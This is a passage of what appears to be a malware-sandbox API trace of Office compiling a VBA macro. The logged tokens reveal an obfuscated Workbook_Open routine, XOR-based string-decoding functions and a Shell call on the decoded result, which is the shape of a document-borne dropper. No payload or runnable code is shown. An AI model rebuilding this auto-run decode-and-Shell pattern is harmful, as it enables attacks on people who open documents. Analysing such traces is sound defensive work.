Locale=0x800, dwInfoType=0x4, lpSrcStr="Ô", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Õ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ö", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="×", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ø", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ù", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ú", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Û", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ü", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ý", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Þ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ß", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="à", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="á", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="â", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ã", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ä", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="å", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="æ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ç", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="è", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="é", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ê", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ë", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ì", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="í", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="î", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ï", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ð", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ñ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ò", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ó", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ô", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="õ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ö", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="÷", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ø", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.958] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ù", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.959] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ú", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.959] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="û", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.959] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ü", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.959] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ý", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.959] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="þ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.959] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ÿ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.959] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0066.959] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0066.959] IMalloc:Alloc (This=0x7fefecb5380, cb=0xd) returned 0xaf26120 [0066.959] IMalloc:Alloc (This=0x7fefecb5380, cb=0x1a) returned 0x7a18110 [0066.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xaf26120, cbMultiByte=13, lpWideCharStr=0x7a18110, cchWideChar=13 | out: lpWideCharStr="ThisWorkbook") returned 13 [0066.959] IMalloc:Free (This=0x7fefecb5380, pv=0xaf26120) [0066.959] IMalloc:Free (This=0x7fefecb5380, pv=0x7a18110) [0066.959] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0066.959] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0066.959] IMalloc:Alloc (This=0x7fefecb5380, cb=0x28) returned 0x7a18110 [0066.959] IMalloc:Alloc (This=0x7fefecb5380, cb=0x50) returned 0xb2a22e0 [0066.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a18110, cbMultiByte=40, lpWideCharStr=0xb2a22e0, cchWideChar=40 | out: lpWideCharStr="0{00020819-0000-0000-C000-000000000046}") returned 40 [0066.959] IMalloc:Alloc (This=0x7fefecb5380, cb=0x50) returned 0xb2a2340 [0066.960] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafc4fc0, cb=0x20) returned 0x7a19160 [0066.960] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafc5e40, cb=0x28) returned 0xb2c1290 [0066.960] IMalloc:Free (This=0x7fefecb5380, pv=0x7a18110) [0066.960] IMalloc:Free (This=0x7fefecb5380, pv=0xb2a22e0) [0066.960] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0066.960] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0066.960] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0066.960] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0066.960] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0066.960] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0066.961] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0066.961] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0066.961] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0066.961] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0066.961] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0066.961] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0066.962] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0066.962] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0066.962] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0066.962] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0066.962] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0066.962] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0066.962] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0066.963] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0066.963] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0066.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22b16, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0066.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22b16, cbMultiByte=13, lpWideCharStr=0x7a86968, cchWideChar=13 | out: lpWideCharStr="Workbook_Open") returned 13 [0066.963] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x30) returned 0x7780f50 [0066.963] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x62f0000 [0066.964] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0066.964] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bXuMQnkaAwSkTSFHshNdUbChAqnrzTPKrgTAhqIawVJYXLqcevSIJPL") returned 0x103c44 [0066.964] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0066.964] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0066.964] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0066.964] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zVhgaAtbCgdOmzZuWuHCUnyKpULhDAcAxqpfUfDaCtbrPRYxZWROXhM") returned 0x10b2d9 [0066.964] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0066.964] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0066.965] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb3aeb70, cb=0x100) returned 0xb4e2870 [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cFYJjwuVVMvxxDsyiaDzRuJqetwyKexjLdvwqcyVNmBbypmQzLBctrj") returned 0x10a2d1 [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DQCApUvfMkMGTcRdGcimfshNobfUUcVppPsfIwIVmcJMlDTJCCPULEY") returned 0x10f456 [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="KDKLiobfjPrRYklpJTMUYEqbFIrmRhVekqhwTGvBLRZwPmQZQNGBUFA") returned 0x10a7aa [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0066.965] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0066.966] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0066.966] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt") returned 0x1090c3 [0066.966] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0066.966] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0066.966] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt") returned 0x1090c3 [0066.966] strcpy_s (in: _Dst=0x7fee5cdefc0, _DstSize=0x100, _Src="bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt" | out: _Dst="bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt") returned 0x0 [0066.966] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0066.966] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x30) returned 0x7781190 [0066.966] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x6300000 [0066.982] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="l") returned 0x101063 [0066.982] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="l") returned 0x101063 [0066.982] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb3aeae0, cb=0x298) returned 0xafe1790 [0066.982] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shell") returned 0x10d756 [0066.982] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt") returned 0x1090c3 [0067.022] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0067.022] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0067.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22d56, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0067.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22d56, cbMultiByte=1, lpWideCharStr=0xb070c18, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fine") returned 0x10f06f [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="job") returned 0x10a4ad [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0067.023] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb4e2870, cb=0x200) returned 0x7abb0a0 [0067.024] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0067.024] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lonDataPtr") returned 0x10f1bd [0067.024] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.024] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0067.024] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0067.024] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vbc") returned 0x10e2f9 [0067.024] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.024] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0067.024] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="intXOrValue1") returned 0x1056eb [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="intXOrValue2") returned 0x1056ec [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lonDataPtr") returned 0x10f1bd [0067.025] strcpy_s (in: _Dst=0x7fee5cdea60, _DstSize=0x100, _Src="lonDataPtr" | out: _Dst="lonDataPtr") returned 0x0 [0067.025] atoi (_Str="1") returned 1 [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0067.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="job") returned 0x10a4ad [0067.025] atoi (_Str="2") returned 2 [0067.026] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafe1790, cb=0x530) returned 0xb5a9ee0 [0067.026] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="intXOrValue1") returned 0x1056eb [0067.026] strcpy_s (in: _Dst=0x7fee5cdefc0, _DstSize=0x100, _Src="intXOrValue1" | out: _Dst="intXOrValue1") returned 0x0 [0067.026] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Val") returned 0x10e2dd [0067.028] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0067.028] LHashValOfNameSysA (syskind=0x1, lcid=0x800, szName="Mid$") returned 0x10566d [0067.028] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0067.028] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="job") returned 0x10a4ad [0067.029] atoi (_Str="2") returned 2 [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lonDataPtr") returned 0x10f1bd [0067.029] atoi (_Str="1") returned 1 [0067.029] atoi (_Str="2") returned 2 [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="intXOrValue2") returned 0x1056ec [0067.029] strcpy_s (in: _Dst=0x7fee5cdefc0, _DstSize=0x100, _Src="intXOrValue2" | out: _Dst="intXOrValue2") returned 0x0 [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Asc") returned 0x107521 [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0067.029] LHashValOfNameSysA (syskind=0x1, lcid=0x800, szName="Mid$") returned 0x10566d [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fine") returned 0x10f06f [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lonDataPtr") returned 0x10f1bd [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fine") returned 0x10f06f [0067.029] atoi (_Str="1") returned 1 [0067.029] atoi (_Str="1") returned 1 [0067.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vbc") returned 0x10e2f9 [0067.030] strcpy_s (in: _Dst=0x7fee5cdefc0, _DstSize=0x100, _Src="vbc" | out: _Dst="vbc") returned 0x0 [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vbc") returned 0x10e2f9 [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="intXOrValue1") returned 0x1056eb [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="intXOrValue2") returned 0x1056ec [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lonDataPtr") returned 0x10f1bd [0067.030] strcpy_s (in: _Dst=0x7fee5cdea60, _DstSize=0x100, _Src="lonDataPtr" | out: _Dst="lonDataPtr") returned 0x0 [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0067.030] strcpy_s (in: _Dst=0x7fee5cdefc0, _DstSize=0x100, _Src="i" | out: _Dst="i") returned 0x0 [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vbc") returned 0x10e2f9 [0067.030] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0067.031] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0067.031] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0067.031] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0067.031] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="l") returned 0x101063 [0067.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22d7a, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0067.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22d7a, cbMultiByte=1, lpWideCharStr=0xb070c18, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0067.031] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ll") returned 0x105e1d [0067.031] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.031] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0067.031] IMalloc:Realloc (This=0x7fefecb5380, pv=0x7abb0a0, cb=0x400) returned 0xb229220 [0067.042] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0067.042] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lll") returned 0x10aefa [0067.042] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.042] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0067.042] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="llll") returned 0x10a22a [0067.042] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0067.042] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0067.043] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lll") returned 0x10aefa [0067.043] strcpy_s (in: _Dst=0x7fee5cdefc0, _DstSize=0x100, _Src="lll" | out: _Dst="lll") returned 0x0 [0067.043] atoi (_Str="7") returned 7 [0067.043] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0067.043] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="llll") returned 0x10a22a [0067.043] strcpy_s (in: _Dst=0x7fee5cdea60, _DstSize=0x100, _Src="llll" | out: _Dst="llll") returned 0x0 [0067.043] atoi (_Str="1") returned 1 [0067.043] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0067.043] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0067.043] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ll") returned 0x105e1d [0067.043] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0067.051] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ll") returned 0x105e1d [0067.051] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="llll") returned 0x10a22a [0067.051] atoi (_Str="1") returned 1 [0067.051] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0067.051] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Asc") returned 0x107521 [0067.051] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0067.051] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ll") returned 0x105e1d [0067.051] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="llll") returned 0x10a22a [0067.051] atoi (_Str="1") returned 1 [0067.051] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lll") returned 0x10aefa [0067.071] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0067.071] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="llll") returned 0x10a22a [0067.071] strcpy_s (in: _Dst=0x7fee5cdea60, _DstSize=0x100, _Src="llll" | out: _Dst="llll") returned 0x0 [0067.071] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="l") returned 0x101063 [0067.071] strcpy_s (in: _Dst=0x7fee5cdefc0, _DstSize=0x100, _Src="l" | out: _Dst="l") returned 0x0 [0067.072] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ll") returned 0x105e1d [0067.072] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0067.072] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0067.072] CExposedStream::Read () returned 0x0 [0067.072] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb633ee0, cb=0x3c0) returned 0xb633ee0 [0067.072] CExposedStream::Release () returned 0x1 [0067.072] CExposedStream::Release () returned 0x0 [0067.073] WideCharToMultiByte (in: 